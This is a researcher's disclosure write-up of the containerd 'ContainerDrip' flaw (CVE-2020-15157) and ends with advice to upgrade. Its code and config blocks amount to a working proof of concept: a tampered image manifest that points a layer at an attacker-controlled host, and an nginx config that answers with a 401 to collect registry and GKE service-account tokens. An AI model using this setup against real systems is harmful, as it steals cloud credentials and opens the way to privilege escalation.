...

CVE-2020-15157 "ContainerDrip" Write-up

15 October 2020

CVE-2020-15157: If an attacker publishes a public image with a crafted manifest that directs one of the image layers to be fetched from a web server they control and they trick a user or system into pulling the image, they can obtain the credentials used by ctr/containerd to access that registry. In some cases, this may be the user’s username and password for the registry. In other cases, this may be the credentials attached to the cloud virtual instance which can grant access to other cloud resources in the account.

If a container image manifest in the Image V2 Schema 2 format includes a URL for the location of a specific image layer, ctr/containerd will follow that URL to attempt to download it. In v1.2.x but not 1.3.x+, ctr/containerd will provide its authentication credentials if the server where the URL is located presents an HTTP 401 status code along with registry-specific HTTP headers.

Research

After some conversations with good friends Ian Coldwater, Rory McCune, and Duffie Cooley about various points of trust in the container image and software dependency chain, I wanted to get a better understanding of the image pull process. When a client wants to pull an image from a remote registry, one of the key steps is fetching its manifest. Looking at some helpful documentation on the Image v2 Schema 2 Specification shows what an example Image manifest looks like:

{
    "schemaVersion": 2,
    "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
    "config": {
        "mediaType": "application/vnd.docker.container.image.v1+json",
        "size": 7023,
        "digest": "sha256:b5b2b2c507a0944348e0303114d8d93aaaa081732b86451d9bce1f432a537bc7"
    },
    "layers": [
        {
            "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
            "size": 32654,
            "digest": "sha256:e692418e4cbaf90ca69d05a66403747baa33ee08806650b51fab815ad7fc331f"
        },
        {
            "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
            "size": 16724,
            "digest": "sha256:3c3a4604a545cdc127456d94e421cd355bca5b528f4a9c1905b15da2eb4a4c6b"
        },
        {
            "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
            "size": 73109,
            "digest": "sha256:ec4b8955958665577945c89419d1af06b5f7636b4ac3da7f12184802ad867736"
        }
    ]
}

But when reading the documentation right above this, there was another possible field available in the spec that this example didn’t show.

urls array

Right away, this caught my attention. The manifest could potentially point the client to fetch a layer to another server? On another domain?

GETting and PUTting Manifests

Knowing that whatever is “pushing” an image to a remote registry is responsible for making the manifest and sending the layers and manifests via API calls, I looked into how to GET and PUT manifests separately from the docker pull and docker push commands. The documentation gives some guidance, but here is some lovely bash to help understand things a bit:

GET a manifest:

#!/usr/bin/env bash

DOCKER_HUB_ORG="myorg"
DOCKER_HUB_REPO="mycontainername"
DOCKER_HUB_IMAGE_TAG="latest"
DOCKER_HUB_USER="mydockerhubusername"

AUTH_DOMAIN="auth.docker.io"
AUTH_SERVICE="registry.docker.io"
AUTH_SCOPE="repository:${DOCKER_HUB_ORG}/${DOCKER_HUB_REPO}:push,pull"
AUTH_OFFLINE_TOKEN="1"

API_DOMAIN="registry-1.docker.io"

TOKEN=$(curl -s -X GET -u ${DOCKER_HUB_USER}:${DOCKER_HUB_PASSWORD} "https://${AUTH_DOMAIN}/token?service=${AUTH_SERVICE}&scope=${AUTH_SCOPE}" | jq -r '.token')

curl -s -H "Accept: application/vnd.docker.distribution.manifest.v2+json" -H "Authorization: Bearer ${TOKEN}" https://${API_DOMAIN}/v2/${DOCKER_HUB_ORG}/${DOCKER_HUB_REPO}/manifests/${DOCKER_HUB_IMAGE_TAG} -o manifest-dockerio.json

PUT:

#!/usr/bin/env bash

DOCKER_HUB_ORG="myorg"
DOCKER_HUB_REPO="mycontainername"
DOCKER_HUB_IMAGE_TAG="latest"
DOCKER_HUB_USER="mydockerhubusername"

AUTH_DOMAIN="auth.docker.io"
AUTH_SERVICE="registry.docker.io"
AUTH_SCOPE="repository:${DOCKER_HUB_ORG}/${DOCKER_HUB_REPO}:push,pull"
AUTH_OFFLINE_TOKEN="1"

API_DOMAIN="registry-1.docker.io"

TOKEN=$(curl -s -X GET -u ${DOCKER_HUB_USER}:${DOCKER_HUB_PASSWORD} "https://${AUTH_DOMAIN}/token?service=${AUTH_SERVICE}&scope=${AUTH_SCOPE}" | jq -r '.token')

curl -s -H "Content-type: application/vnd.docker.distribution.manifest.v2+json" -H "Authorization: Bearer ${TOKEN}" -XPUT -d@manifest-dockerio.json https://${API_DOMAIN}/v2/${DOCKER_HUB_ORG}/${DOCKER_HUB_REPO}/manifests/${DOCKER_HUB_IMAGE_TAG}

The image I made was a single binary container I had for testing, and it’s “normal” manifest looked like this:

$ cat manifest-dockerio.json
{
  "schemaVersion": 2,
  "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
  "config": {
    "mediaType": "application/vnd.docker.container.image.v1+json",
    "size": 1609,
    "digest": "sha256:da86e6ba6ca197bf6bc5e9d900febd906b133eaa4750e6bed647b0fbe50ed43e"
  },
  "layers": [
    {
      "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
      "size": 323414,
      "digest": "sha256:7675586df687972b960134ddaf042c570c895bf1fbdf9fc0ce0bf09c1e1c2811"
    }
  ]
}

These scripts provided a quick way to fetch and re-upload the manifest in question back to the registry.

Tampering with the Manifest

The first things I tried were removing the mediaType, size, and digest fields, but that didn’t produce anything truly interesting. However, when I replaced the manifest with something like this:

{
  "schemaVersion": 2,
  "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
  "config": {
    "mediaType": "application/vnd.docker.container.image.v1+json",
    "size": 1609,
    "digest": "sha256:da86e6ba6ca197bf6bc5e9d900febd906b133eaa4750e6bed647b0fbe50ed43e"
  },
  "layers": [
    {
      "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
      "size": 1,
      "urls": [
        "https://example.com"
      ]
    }
  ]
}

I got an error that indicated it was unable to retrieve the layer! Interesting. I then set up a cloud VM with nginx and a valid TLS cert on one of my test domains.

Modifying the manifest to and PUTting that in place:

{
  "schemaVersion": 2,
  "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
  "config": {
    "mediaType": "application/vnd.docker.container.image.v1+json",
    "size": 1609,
    "digest": "sha256:da86e6ba6ca197bf6bc5e9d900febd906b133eaa4750e6bed647b0fbe50ed43e"
  },
  "layers": [
    {
      "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
      "size": 401,
      "urls": [
        "https://mytesthost.mytestdomain.com/honk.tar.gz"
      ]
    }
  ]
}

meant that when I went to docker pull myorg/myimage:latest, I got a hit in the nginx error logs with my source IP. The docker pull would fail with an invalid layer being retrieved, but the client would at least make an attempt to grab it from my attacker-controlled location.

What about ctr/containerD?

In a similar manner, a ctr image pull myorg/myimage:latest would also follow the URL and hit my webserver. More on that in a bit.

The Credential Leak

Knowing that clients that pull images may be configured to authenticate to a remote registry to fetch private images, the question became: “How do I get them to send their credentials to me?”. As it turns out, all you have to do is ask the right question.

Here is an excerpt from the nginx config that responds with specific headers for the given registry and an HTTP 401 and the correct realm:

 location /honk.tar.gz {
   add_header 'Docker-Distribution-Api-Version' 'registry/2.0' always;
   add_header 'WWW-Authenticate' 'Basic realm="https://gcr.io/v2/token",service="gcr.io"' always;
   if ($http_Authorization = "") {
       return 401;
   }
   if ($http_Authorization != "") {
       return 200 'ok';
   }
 }

This same image and manifest were pushed to a GCR registry. One specific use case where this gets really interesting is GKE clusters running COS_CONTAINERD and GKE 1.16 or below (at the time of this writing). When those clusters were given a deployment to run like this one:

---
apiVersion: apps/v1
kind: Deployment
metadata:
  name: honk
  labels:
    app: honk
spec:
  replicas: 1
  selector:
    matchLabels:
      app: honk
  template:
    metadata:
      name: honk
      labels:
        app: honk
    spec:
      containers:
        - name: honk
          image: gcr.io/my-project-name/myimage:latest
          imagePullPolicy: Always

The web logs showed a really long Basic Auth header. When base64 decoded, it turned out to be:

_token:ya29.c.KokB2Ad-4...snip...

Yes, that’s right. It was the underlying GCE Instance Service Account Token attached to the GKE cluster nodepool. By default in GKE, the GCP service account attached to the nodepool is the default compute service account and it is granted Project Editor. However, the default GKE OAuth Scopes “scope down” the available permissions of this instance token.

But if the defaults were modified when creating the cluster to grant the https://www.googleapis.com/auth/cloud-platform (aka “any”) scope to the nodepool, this token would have no OAuth scope restrictions and would grant the “full” set of Project Editor IAM permissions in that GCP project. From there, it’s often one hop to Project Owner a la DEF CON Safe Mode - Dylan Ayrey and Allison Donovan - Lateral Movement & Privilege Escalation in GCP if another service account in the project is assigned to Project Owner.

Of course, GKE is just one of many examples where this issue can occur.

Conclusion

Ensure your systems are running the latest versions of their respective container runtimes. Containerd 1.3.x+ was tested and found not to respond to HTTP 401 requests for “foreign layers”. Considering that Containerd v1.2.x is EOL as of Oct 15th, 2020, the good news is, you may already be on 1.3.x+.

Thanks and Honks

Appreciation for collaboration, threat modeling, honks, and reproduction help goes to:

and the containerd team for handling the disclosure process with minimal friction.

One last thing

Naming CVEs has its pros and cons, and I believe that the pros outweigh the cons. One runs the risk of sounding arrogant. However, a short, fun name is much better to than rattling off a CVE ID, and it’s more memorable and easier to convey in conversation. For example, when a Kubernetes admin hears CVE-2019-11253, they might not make the connection. But if you said “the Billion Laughs DoS”, they’ll be far more likely to know that you were referring to without looking it up. So, I’m willing to sound a bit silly and have a little fun giving this one a name to make those Security <> Infrastructure conversations a bit easier to have.